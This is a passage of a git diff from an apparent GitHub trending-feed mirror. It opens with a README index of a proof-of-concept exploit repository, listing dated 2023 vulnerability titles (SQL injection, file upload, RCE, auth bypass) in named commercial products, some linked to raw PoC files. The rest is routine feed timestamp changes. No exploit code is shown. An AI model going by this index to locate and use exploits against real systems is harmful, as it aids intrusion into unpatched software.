<li>่‡ด่ฟœไบ’่”FEๅไฝœๅŠžๅ…ฌๅนณๅฐeditflow_managerๅญ˜ๅœจsqlๆณจๅ…ฅๆผๆดž</li> <li>ๆตทๅบทๅจ่ง†CVE-2023-6895 IP็ฝ‘็ปœๅฏน่ฎฒๅนฟๆ’ญ็ณป็ปŸ่ฟœ็จ‹ๅ‘ฝไปคๆ‰ง่กŒ</li> <li>้“ญ้ฃžCMS listๆŽฅๅฃๅญ˜ๅœจSQLๆณจๅ…ฅ</li> <li>ๆตทๅบทๅจ่ง†IP็ฝ‘็ปœๅฏน่ฎฒๅนฟๆ’ญ็ณป็ปŸไปปๆ„ๆ–‡ไปถไธ‹่ฝฝๆผๆดžCVE-2023-6893</li> </ul> <h2>2023.12.17 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>ๅคงๅŽๆ™บ่ƒฝ็‰ฉ่”็ปผๅˆ็ฎก็†ๅนณๅฐjustForTest็”จๆˆท็™ปๅฝ•ๆผๆดž</li> <li>CloudPanel RCEๆผๆดž CVE-2023-35885</li> <li>Smartbi ๅ†…็ฝฎ็”จๆˆท็™ป้™†็ป•่ฟ‡</li> <li>้‡‘ๅ’ŒOA jc6 clobfield SQLๆณจๅ…ฅๆผๆดž</li> <li>EasyCVR ่ง†้ข‘็ฎก็†ๅนณๅฐๅญ˜ๅœจ็”จๆˆทไฟกๆฏๆณ„้œฒ</li> <li>็”จๅ‹CRM ไปปๆ„ๆ–‡ไปถ่ฏปๅ–ๆผๆดž</li> <li>้‡‘่ถๆ˜Ÿ็ฉบไบ‘K3Cloudๅๅบๅˆ—ๅŒ–ๆผๆดž</li> </ul> <h2>2023.12.15 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>ไธ‡ๆˆทezoffice wpsservletไปปๆ„ๆ–‡ไปถไธŠไผ ๆผๆดž</li> <li>ไธ‡ๆˆท ezOFFICE DocumentEdit.jsp SQLๆณจๅ…ฅ</li> <li>็”จๅ‹ NC uapws wsdl XXEๆผๆดž</li> <li>iDocView uploadๆŽฅๅฃไปปๆ„ๆ–‡ไปถ่ฏปๅ–</li> <li>Wordpress Backup Migration plugin ไปฃ็ ๆ‰ง่กŒๆผๆดž(CVE-2023-6553)</li> </ul> <h2>2023.12.14 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>ๆณ›ๅพฎไบ‘ๆกฅ e-Bridge addTasteๆŽฅๅฃSQLๆณจๅ…ฅๆผๆดž</li> <li>Tenda่ทฏ็”ฑๅ™จ่ดฆๅทๅฏ†็ ๆณ„้œฒ</li> <li>ๆ€็ฆ่ฟช่ฟ็ปดๅฎ‰ๅ…จ็ฎก็†็ณป็ปŸRCEๆผๆดž</li> </ul> <h2>2023.12.11 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>Apache Struts2 CVE-2023-50164</li> <li>่“ๅ‡ŒEKPๅ‰ๅฐๆŽˆๆƒ็ป•่ฟ‡ๅฏผ่‡ดๆ–‡ไปถไธŠไผ </li> <li>้€š่พพOA header่บซไปฝ่ฎค่ฏ็ป•่ฟ‡ๆผๆดž</li> </ul> <h2>2023.12.08 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>Dedecms v5.7.111ๅ‰ๅฐtags.php SQLๆณจๅ…ฅๆผๆดž</li> <li>ไบ‘ๆ—ถ็ฉบ็คพไผšๅŒ–ๅ•†ไธšERPไปปๆ„ๆ–‡ไปถไธŠไผ </li> <li>ๅฅฅๅจไบš่ง†้ข‘ไบ‘ๅนณๅฐVideoCover.aspxๆŽฅๅฃๅญ˜ๅœจไปปๆ„ๆ–‡ไปถไธŠไผ ๆผๆดž</li> </ul> <h2>2023.12.07 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>WeiPHP&gt;=5.0 SQLๆณจๅ…ฅๆผๆดž</li> <li>Apache Ofbiz XML-RPC RCEๆผๆดž-CVE-2023-49070</li> <li>ๅคšไธช้˜ฒ็ซๅข™ไบงๅ“RCE</li> <li>้‡‘่ถApusicๅบ”็”จๆœๅŠกๅ™จไปปๆ„ๆ–‡ไปถไธŠไผ </li> </ul> <h2>2023.12.05 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>้€Ÿ่พพ่ฝฏไปถๅ…จ็ณปไบงๅ“ๅญ˜ๅœจไปปๆ„ๆ–‡ไปถไธŠไผ ๆผๆดž</li> <li>ๆ˜“ๆ€ๆ™บ่ƒฝ็‰ฉๆตๆ— ไบบๅ€ผๅฎˆ็ณป็ปŸ5.0ๅญ˜ๅœจไปปๆ„ๆ–‡ไปถไธŠไผ ๆผๆดž</li> <li>RuoYi4.6.0 SQLๆณจๅ…ฅๆผๆดžCVE-2023-49371</li> </ul> <h2>2023.12.03 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>ๆ™บ่ทƒไบบๅŠ›่ต„ๆบ็ฎก็†็ณป็ปŸGenerateEntityFromTable.aspx SQLๆผๆดž</li> </ul> <h2>2023.11.30 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>Apache-ActiveMQ-Jolokia-่ฟœ็จ‹ไปฃ็ ๆ‰ง่กŒๆผๆดž-CVE-2022-41678</li> <li>็บขๅธ†OA iorepsavexml.aspx ๆ–‡ไปถไธŠไผ ๆผๆดž</li> </ul> <h2>2023.11.29 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>็ฝ‘็ฅž้˜ฒ็ซๅข™ app_av_import_saveๆ–‡ไปถไธŠไผ ๆผๆดž</li> <li>ๅคงๅŽๆ™บๆ…งๅ›ญๅŒบ็ฎก็†ๅนณๅฐไปปๆ„ๆ–‡ไปถ่ฏปๅ–</li> <li>้€š่พพOA down.phpๆŽฅๅฃๅญ˜ๅœจๆœชๆŽˆๆƒ่ฎฟ้—ฎๆผๆดž</li> </ul> <h2>2023.11.28 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>ๆ–ฐๅผ€ๆ™ฎๆŽŒไธŠๆ กๅ›ญๆœๅŠก็ฎก็†ๅนณๅฐservice.action่ฟœ็จ‹ๅ‘ฝไปคๆ‰ง่กŒ</li> <li>ๆ˜“ๅฎOA ExecuteSqlForSingle SQLๆณจๅ…ฅๆผๆดž</li> <li>ๅคงๅŽๆ™บๆ…งๅ›ญๅŒบ็ปผๅˆ็ฎก็†ๅนณๅฐ deleteFtp ่ฟœ็จ‹ๅ‘ฝไปคๆ‰ง่กŒๆผๆดž</li> <li>ไบ‘ๅŒฃๅญๅ กๅž’ๆœบfastjsonๆผๆดž</li> <li>ๆตทๅบทๅจ่ง†่ฟ่กŒ็ฎก็†ไธญๅฟƒfastjsonๆผๆดž</li> <li>Array VPNไปปๆ„ๆ–‡ไปถ่ฏปๅ–ๆผๆดž</li> <li>ไธ‡ๆˆทOA-uploadไปปๆ„ๆ–‡ไปถไธŠไผ ๆผๆดž</li> </ul> <h2>2023.11.26 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>็”จๅ‹NC word.docxไปปๆ„ๆ–‡ไปถ่ฏปๅ–ๆผๆดž</li> <li>็”จๅ‹NC็š„downloadๆ–‡ไปถๅญ˜ๅœจไปปๆ„ๆ–‡ไปถ่ฏปๅ–ๆผๆดž</li> <li>ๆณ›ๅพฎe-cology9_SQLๆณจๅ…ฅ-CNVD-2023-12632</li> <li>TOTOLINK A3700Rๅ‘ฝไปคๆ‰ง่กŒๆผๆดžCVE-2023-46574</li> <li>Splunk Enterprise ่ฟœ็จ‹ไปฃ็ ๆ‰ง่กŒๆผๆดž (CVE-2023-46214)</li> </ul> <h2>2023.11.24 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>ๅŽไธบAuth-Http Serveไปปๆ„ๆ–‡ไปถ่ฏปๅ–</li> <li>ๆ˜‚ๆทERP WebServiceๆŽฅๅฃ SQLๆณจๅ…ฅๆผๆดž(QVD-2023-45071)</li> <li>ๅฅฝ่ง†้€š่ง†้ข‘ไผš่ฎฎ็ณป็ปŸ toDownload.doๆŽฅๅฃ ไปปๆ„ๆ–‡ไปถ่ฏปๅ–ๆผๆดž</li> </ul> <h2>2023.11.23 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>ๅคงๅŽๆ™บ่ƒฝ็‰ฉ่”ICC็ปผๅˆ็ฎก็†ๅนณๅฐreadpicไปปๆ„ๆ–‡ไปถ่ฏปๅ–ๆผๆดž</li> <li>Apache-Submarine-SQLๆณจๅ…ฅๆผๆดžCVE-2023-37924</li> <li>H3C็ฝ‘็ปœ็ฎก็†็ณป็ปŸไปปๆ„ๆ–‡ไปถ่ฏปๅ–ๆผๆดž</li> <li>ๅนฟๅทžๅ›พๅˆ›ๅ›พไนฆ้ฆ†้›†็พค็ฎก็†็ณป็ปŸๅญ˜ๅœจๆœชๆŽˆๆƒ่ฎฟ้—ฎ</li> <li>I Doc Viewไปปๆ„ๆ–‡ไปถไธŠไผ ๆผๆดž</li> <li>่‡ด่ฟœOA M3 Server ๅๅบๅˆ—ๅŒ–ๆผๆดž</li> <li>pyLoad่ฟœ็จ‹ไปฃ็ ๆ‰ง่กŒๆผๆดž</li> </ul> <h2>2023.11.20 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>้‡‘่ถOA-EAS็ณป็ปŸ uploadLogo.action ไปปๆ„ๆ–‡ไปถไธŠไผ ๆผๆดž</li> <li>ๆต™ๅคงๆฉ็‰นๅฎขๆˆท่ต„ๆบ็ฎก็†็ณป็ปŸ ๆ–‡ไปถไธŠไผ ๅ’Œsqlๆณจๅ…ฅๆผๆดž</li> <li>้”ๆทRG-UAC็ปŸไธ€ไธŠ็ฝ‘่กŒไธบ็ฎก็†ไธŽๅฎก่ฎก็ณป็ปŸ็ฎก็†ๅ‘˜ๅฏ†็ ๆณ„้œฒ</li> <li>Appium Desktop CVE-2023-2479ๆผๆดž</li> </ul> <h2>2023.11.19 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>็”จๅ‹U8-cloud RegisterServletๆŽฅๅฃๅญ˜ๅœจSQLๆณจๅ…ฅๆผๆดž</li> <li>SysAid่ฟœ็จ‹ๅ‘ฝไปคๆ‰ง่กŒๆผๆดž๏ผˆCVE-2023-47246๏ผ‰</li> <li>CVE-2023-4357-Chrome-XXEๆผๆดž</li> </ul> <h2>2023.11.17 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>้‡‘่ถOAไบ‘ๆ˜Ÿ็ฉบ ScpSupRegHandler ไปปๆ„ๆ–‡ไปถไธŠไผ ๆผๆดž</li> </ul> <h2>2023.11.16 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>่ฟชๆ™ฎDPTech VPN ไปปๆ„ๆ–‡ไปถ่ฏปๅ–</li> <li>่“ๅ‡ŒOAsysUiComponent ๆ–‡ไปถๅญ˜ๅœจไปปๆ„ๆ–‡ไปถไธŠไผ ๆผๆดž</li> <li>้€š่พพOA get_datas.phpๅ‰ๅฐsqlๆณจๅ…ฅ</li> </ul> <h2>2023.11.09 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>IP-guard WebServer ่ฟœ็จ‹ๅ‘ฝไปคๆ‰ง่กŒๆผๆดž</li> </ul> <h2>2023.11.08 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>ๅฅ‡ๅฎ‰ไฟก360ๅคฉๆ“ŽgetsimilarlistSQLๆณจๅ…ฅๆผๆดž</li> <li>่‡ด่ฟœM1 usertokenservice ๅๅบๅˆ—ๅŒ–RCEๆผๆดž</li> </ul> <h2>2023.11.07 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>jshERPไฟกๆฏๆณ„้œฒๆผๆดž</li> <li>่‡ด่ฟœOA wpsAssistServletไปปๆ„ๆ–‡ไปถ่ฏปๅ–ๆผๆดž</li> <li>้‡‘ๅ’ŒOAไปปๆ„ๆ–‡ไปถ่ฏปๅ–ๆผๆดž</li> </ul> <h2>2023.11.03</h2> <ul> <li>XXL-JOB้ป˜่ฎคaccessToken่บซไปฝ็ป•่ฟ‡ๆผๆดž</li> <li>Confluence่บซไปฝ่ฎค่ฏ็ป•่ฟ‡(CVE-2023-22518)</li> </ul> <h2>2023.10.31 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>F5 BIG-IP ่ฟœ็จ‹ไปฃ็ ๆ‰ง่กŒๆผๆดž(CVE-2023-46747)</li> <li>Cisco IOS XE CVE-2023-20198ๆƒ้™ๆๅ‡ๆผๆดž</li> </ul> <h2>2023.10.30 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>JAVA Public CMS ๅŽๅฐRCEๆผๆดž</li> </ul> <h2>2023.10.26 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>Apache ActiveMQ่ฟœ็จ‹ๅ‘ฝไปคๆ‰ง่กŒๆผๆดž</li> </ul> <h2>2023.10.25 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>็”จๅ‹U8-Cloud uploadไปปๆ„ๆ–‡ไปถไธŠไผ ๆผๆดž</li> <li><a href="https://raw.githubusercontent.com/wy876/POC/main/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97%E9%85%92%E5%BA%97%E5%AE%BD%E5%B8%A6%E8%BF%90%E8%90%A5%E7%B3%BB%E7%BB%9FSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md">ๅฎ‰็พŽๆ•ฐๅญ—้…’ๅบ—ๅฎฝๅธฆ่ฟ่ฅ็ณป็ปŸSQLๆณจๅ…ฅๆผๆดž</a></li> <li><a href="https://raw.githubusercontent.com/wy876/POC/main/%E6%B3%9B%E5%BE%AEE-MobileServer%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md">ๆณ›ๅพฎE-MobileServer่ฟœ็จ‹ๅ‘ฝไปคๆ‰ง่กŒๆผๆดž</a></li> <li>่“ๅ‡ŒOA treexml.tmpl ่ฟœ็จ‹ๅ‘ฝไปคๆ‰ง่กŒๆผๆดž</li> </ul> <h2>2023.10.21 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li><a href="https://raw.githubusercontent.com/wy876/POC/main/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86%E7%BB%BC%E5%90%88%E5%AE%89%E9%98%B2%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2.md">ๆตทๅบทๅจ่ง†็ปผๅˆๅฎ‰้˜ฒ็ฎก็†ๅนณๅฐไฟกๆฏๆณ„้œฒ</a></li> </ul> <h2>2023.10.20 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li><a href="https://raw.githubusercontent.com/wy876/POC/main/%E8%93%9D%E5%87%8CEIS%E6%99%BA%E6%85%A7%E5%8D%8F%E5%90%8C%E5%B9%B3%E5%8F%B0saveImg%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md">่“ๅ‡ŒEISๆ™บๆ…งๅๅŒๅนณๅฐsaveImgๆŽฅๅฃๅญ˜ๅœจไปปๆ„ๆ–‡ไปถไธŠไผ ๆผๆดž</a></li> <li>็”จๅ‹NC-Cloud uploadChunk ไปปๆ„ๆ–‡ไปถไธŠไผ ๆผๆดž</li> <li>ๆทฑไฟกๆœไธ‹ไธ€ไปฃ้˜ฒ็ซๅข™NGAF RCEๆผๆดž</li> <li>้‡‘่ถEAS myUploadFileไปปๆ„ๆ–‡ไปถไธŠไผ </li> <li>็”จๅ‹ GRP U8 license_check.jsp ๅญ˜ๅœจSQLๆณจๅ…ฅ</li> </ul> <h2>2023.10.18 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>360ๅคฉๆ“Ž - ๆœชๆŽˆๆƒไธŽsqlๆณจๅ…ฅ</li> <li>ๆทฑไฟกๆœSANGFOR็ปˆ็ซฏๆฃ€ๆต‹ๅ“ๅบ”ๅนณๅฐ - ไปปๆ„็”จๆˆทๅ…ๅฏ†็™ปๅฝ•,ๅ‰ๅฐRCE</li> <li>ๆทฑไฟกๆœไธ‹ไธ€ไปฃ้˜ฒ็ซๅข™NGAFไปปๆ„ๆ–‡ไปถ่ฏปๅ–ๆผๆดž</li> <li>Confluence ๆœชๆŽˆๆƒๆๆƒ่ฎฟ้—ฎๆผๆดž</li> <li>ๆณ›ๅพฎe-office ๆœชๆŽˆๆƒ่ฎฟ้—ฎ</li> <li>้‡‘ๅฑฑ็ปˆ็ซฏๅฎ‰ๅ…จ็ณป็ปŸV9.0 SQLๆณจๅ…ฅๆผๆดž</li> </ul> <h2>2023.9.26 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>JumpServerๆœชๆŽˆๆƒ่ฎฟ้—ฎๆผๆดž CVE-2023-42442</li> <li>Craft CMS่ฟœ็จ‹ไปฃ็ ๆ‰ง่กŒๆผๆดž CVE-2023-41892</li> <li>WinRAR CVE-2023-38831 ๆผๆดž</li> <li>็”จๅ‹ GRP-U8 bx_historyDataCheck.jsp SQLๆณจๅ…ฅๆผๆดž</li> </ul> <h2>2023.9.22 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>Joomla ๆœชๆŽˆๆƒๆผๆดžCVE-2023-23752</li> </ul> <h2>2023.9.19 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>smangaๅญ˜ๅœจๆœชๆŽˆๆƒ่ฟœ็จ‹ไปฃ็ ๆ‰ง่กŒๆผๆดž CVE-2023-36076</li> <li>JFinalCMS ไปปๆ„ๆ–‡ไปถ่ฏปๅ–ๆผๆดž(CVE-2023-41599)</li> </ul> <h2>2023.9.14 ๆ–ฐๅขžๆผๆดž</h2> <ul> <li>่‡ด่ฟœOAๅ‰ๅฐ็”จๆˆท้‡็ฝฎๅฏ†็ ๆผๆดž</li> <li>Apache Sparkๅ‘ฝไปคๆ‰ง่กŒๆผๆดž๏ผˆCVE-2023-32007๏ผ‰</li> </ul> <h2>ๅ…่ดฃๅฃฐๆ˜Ž</h2> <p>็”ฑไบŽไผ ๆ’ญใ€ๅˆฉ็”จๆœฌๆ–‡ๆ‰€ๆไพ›็š„ไฟกๆฏ่€Œ้€ ๆˆ็š„ไปปไฝ•็›ดๆŽฅๆˆ–่€…้—ดๆŽฅ็š„ๅŽๆžœๅŠๆŸๅคฑ๏ผŒๅ‡็”ฑไฝฟ็”จ่€…ๆœฌไบบ่ดŸ่ดฃ๏ผŒไฝœ่€…ไธไธบๆญคๆ‰ฟๆ‹…ไปปไฝ•่ดฃไปปใ€‚ๆ‰€ๆถ‰ๅŠๅทฅๅ…ทๆฅ่‡ช็ฝ‘็ปœ๏ผŒๅฎ‰ๅ…จๆ€ง่‡ชๆต‹ใ€‚</p> <p><a href="https://starchart.cc/wy876/POC"><img src="https://starchart.cc/wy876/POC.svg?sanitize=true" alt=""></a></p> \ No newline at end of file diff --git a/alloy/daily/index.xml b/alloy/daily/index.xml index 9563d23890a..17c48dd737a 100644 --- a/alloy/daily/index.xml +++ b/alloy/daily/index.xml @@ -1,7 +1,7 @@ GitHub Alloy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:07Z + 2024-01-06T01:25:53Z Daily Trending of Alloy in GitHub \ No newline at end of file diff --git a/alpine-abuild/daily/index.xml b/alpine-abuild/daily/index.xml index fc717a48105..3d92b6cb2b4 100644 --- a/alpine-abuild/daily/index.xml +++ b/alpine-abuild/daily/index.xml @@ -1,7 +1,7 @@ GitHub Alpine Abuild Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:07Z + 2024-01-06T01:25:54Z Daily Trending of Alpine Abuild in GitHub \ No newline at end of file diff --git a/altium-designer/daily/index.xml b/altium-designer/daily/index.xml index 78c01cd0d39..c8d19d2c22c 100644 --- a/altium-designer/daily/index.xml +++ b/altium-designer/daily/index.xml @@ -1,7 +1,7 @@ GitHub Altium Designer Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:08Z + 2024-01-06T01:25:56Z Daily Trending of Altium Designer in GitHub \ No newline at end of file diff --git a/ampl/daily/index.xml b/ampl/daily/index.xml index b00a92d4f2a..63863d75861 100644 --- a/ampl/daily/index.xml +++ b/ampl/daily/index.xml @@ -1,7 +1,7 @@ GitHub AMPL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:11Z + 2024-01-06T01:25:58Z Daily Trending of AMPL in GitHub \ No newline at end of file diff --git a/angelscript/daily/index.xml b/angelscript/daily/index.xml index 20d7eafb30b..1a05a7e0872 100644 --- a/angelscript/daily/index.xml +++ b/angelscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub AngelScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:13Z + 2024-01-06T01:25:59Z Daily Trending of AngelScript in GitHub \ No newline at end of file diff --git a/ant-build-system/daily/index.xml b/ant-build-system/daily/index.xml index fca3bd17d39..e0add5c6e27 100644 --- a/ant-build-system/daily/index.xml +++ b/ant-build-system/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ant Build System Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:12Z + 2024-01-06T01:26:00Z Daily Trending of Ant Build System in GitHub \ No newline at end of file diff --git a/antlr/daily/index.xml b/antlr/daily/index.xml index 55fd52d7ddf..ce44546d5cb 100644 --- a/antlr/daily/index.xml +++ b/antlr/daily/index.xml @@ -1,7 +1,7 @@ GitHub ANTLR Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:14Z + 2024-01-06T01:26:01Z Daily Trending of ANTLR in GitHub \ No newline at end of file diff --git a/apacheconf/daily/index.xml b/apacheconf/daily/index.xml index 558c3c4d9dc..8ddfb1db20e 100644 --- a/apacheconf/daily/index.xml +++ b/apacheconf/daily/index.xml @@ -1,7 +1,7 @@ GitHub ApacheConf Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:15Z + 2024-01-06T01:26:04Z Daily Trending of ApacheConf in GitHub \ No newline at end of file diff --git a/apex/daily/index.xml b/apex/daily/index.xml index f5f8a4fb8ef..69c92ae6096 100644 --- a/apex/daily/index.xml +++ b/apex/daily/index.xml @@ -1,7 +1,7 @@ GitHub Apex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:17Z + 2024-01-06T01:26:02Z Daily Trending of Apex in GitHub \ No newline at end of file diff --git a/api-blueprint/daily/index.xml b/api-blueprint/daily/index.xml index 5ff6cff0067..fd443037b43 100644 --- a/api-blueprint/daily/index.xml +++ b/api-blueprint/daily/index.xml @@ -1,7 +1,7 @@ GitHub API Blueprint Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:18Z + 2024-01-06T01:26:03Z Daily Trending of API Blueprint in GitHub \ No newline at end of file diff --git a/apl/daily/index.xml b/apl/daily/index.xml index bd9fc2ca550..abf1b3ac90e 100644 --- a/apl/daily/index.xml +++ b/apl/daily/index.xml @@ -1,7 +1,7 @@ GitHub APL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:22Z + 2024-01-06T01:26:09Z Daily Trending of APL in GitHub \ No newline at end of file diff --git a/apollo-guidance-computer/daily/index.xml b/apollo-guidance-computer/daily/index.xml index c4eb21a901f..7a52a9d66cc 100644 --- a/apollo-guidance-computer/daily/index.xml +++ b/apollo-guidance-computer/daily/index.xml @@ -1,7 +1,7 @@ GitHub Apollo Guidance Computer Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:20Z + 2024-01-06T01:26:05Z Daily Trending of Apollo Guidance Computer in GitHub \ No newline at end of file diff --git a/applescript/daily/index.xml b/applescript/daily/index.xml index cc8549ecce0..88954150c9c 100644 --- a/applescript/daily/index.xml +++ b/applescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub AppleScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:19Z + 2024-01-06T01:26:06Z Daily Trending of AppleScript in GitHub \ No newline at end of file diff --git a/arc/daily/index.xml b/arc/daily/index.xml index 3a9a753a8ae..d041ae54861 100644 --- a/arc/daily/index.xml +++ b/arc/daily/index.xml @@ -1,7 +1,7 @@ GitHub Arc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:21Z + 2024-01-06T01:26:07Z Daily Trending of Arc in GitHub \ No newline at end of file diff --git a/asciidoc/daily/index.xml b/asciidoc/daily/index.xml index ea163c75900..ebf441e7332 100644 --- a/asciidoc/daily/index.xml +++ b/asciidoc/daily/index.xml @@ -1,7 +1,7 @@ GitHub AsciiDoc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:26Z + 2024-01-06T01:26:12Z Daily Trending of AsciiDoc in GitHub \ No newline at end of file diff --git a/asl/daily/index.xml b/asl/daily/index.xml index 40945f50870..73f44ba0c8c 100644 --- a/asl/daily/index.xml +++ b/asl/daily/index.xml @@ -1,7 +1,7 @@ GitHub ASL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:27Z + 2024-01-06T01:26:13Z Daily Trending of ASL in GitHub \ No newline at end of file diff --git a/asn.1/daily/index.xml b/asn.1/daily/index.xml index 5233aaa4b54..a91672a011f 100644 --- a/asn.1/daily/index.xml +++ b/asn.1/daily/index.xml @@ -1,7 +1,7 @@ GitHub ASN.1 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:24Z + 2024-01-06T01:26:11Z Daily Trending of ASN.1 in GitHub \ No newline at end of file diff --git a/asp.net/daily/index.xml b/asp.net/daily/index.xml index 0ea05f1dd58..de9d643316d 100644 --- a/asp.net/daily/index.xml +++ b/asp.net/daily/index.xml @@ -1,7 +1,7 @@ GitHub ASP.NET Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:28Z + 2024-01-06T01:26:16Z Daily Trending of ASP.NET in GitHub \ No newline at end of file diff --git a/aspectj/daily/index.xml b/aspectj/daily/index.xml index 378be2a5c59..902f81e1fac 100644 --- a/aspectj/daily/index.xml +++ b/aspectj/daily/index.xml @@ -1,7 +1,7 @@ GitHub AspectJ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:29Z + 2024-01-06T01:26:15Z Daily Trending of AspectJ in GitHub \ No newline at end of file diff --git a/assembly/daily/index.xml b/assembly/daily/index.xml index 90d86aac2c3..d68d17aa6f1 100644 --- a/assembly/daily/index.xml +++ b/assembly/daily/index.xml @@ -1,14 +1,7 @@ GitHub Assembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:34Z + 2024-01-06T01:26:19Z Daily Trending of Assembly in GitHub - - lftraining/LFD110x - 2024-01-05T01:27:34Z - tag:github.com,2024-01-05:/lftraining/LFD110x - - <p>RISC-V (LFD110x)</p><hr> - \ No newline at end of file diff --git a/astro/daily/index.xml b/astro/daily/index.xml index ba7f214ddb1..23f6fd809bc 100644 --- a/astro/daily/index.xml +++ b/astro/daily/index.xml @@ -1,14 +1,7 @@ GitHub Astro Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:31Z + 2024-01-06T01:26:21Z Daily Trending of Astro in GitHub - - isd-sgcu/isd.sgcu.in.th - 2024-01-05T01:27:31Z - tag:github.com,2024-01-05:/isd-sgcu/isd.sgcu.in.th - - <p></p><hr> - \ No newline at end of file diff --git a/asymptote/daily/index.xml b/asymptote/daily/index.xml index cb7697c9d93..f0dcdc48fe0 100644 --- a/asymptote/daily/index.xml +++ b/asymptote/daily/index.xml @@ -1,7 +1,7 @@ GitHub Asymptote Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:39Z + 2024-01-06T01:26:23Z Daily Trending of Asymptote in GitHub \ No newline at end of file diff --git a/ats/daily/index.xml b/ats/daily/index.xml index 36a86830329..04c01febc2a 100644 --- a/ats/daily/index.xml +++ b/ats/daily/index.xml @@ -1,7 +1,7 @@ GitHub ATS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:36Z + 2024-01-06T01:26:25Z Daily Trending of ATS in GitHub \ No newline at end of file diff --git a/augeas/daily/index.xml b/augeas/daily/index.xml index f6eb2e52c47..05fe51982d8 100644 --- a/augeas/daily/index.xml +++ b/augeas/daily/index.xml @@ -1,7 +1,7 @@ GitHub Augeas Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:37Z + 2024-01-06T01:26:26Z Daily Trending of Augeas in GitHub \ No newline at end of file diff --git a/autohotkey/daily/index.xml b/autohotkey/daily/index.xml index ad0e88d07d6..c8ee3bcda20 100644 --- a/autohotkey/daily/index.xml +++ b/autohotkey/daily/index.xml @@ -1,7 +1,14 @@ GitHub AutoHotkey Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:38Z + 2024-01-06T01:26:24Z Daily Trending of AutoHotkey in GitHub + + iglvzx/SMASH + 2024-01-06T01:26:24Z + tag:github.com,2024-01-06:/iglvzx/SMASH + + <p>Silence, Minimize, and Save Hiney</p><hr> + \ No newline at end of file diff --git a/autoit/daily/index.xml b/autoit/daily/index.xml index 357dceda361..63b86dbd203 100644 --- a/autoit/daily/index.xml +++ b/autoit/daily/index.xml @@ -1,7 +1,7 @@ GitHub AutoIt Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:27:40Z + 2024-01-06T01:26:29Z Daily Trending of AutoIt in GitHub \ No newline at end of file diff --git a/avro-idl/daily/index.xml b/avro-idl/daily/index.xml index 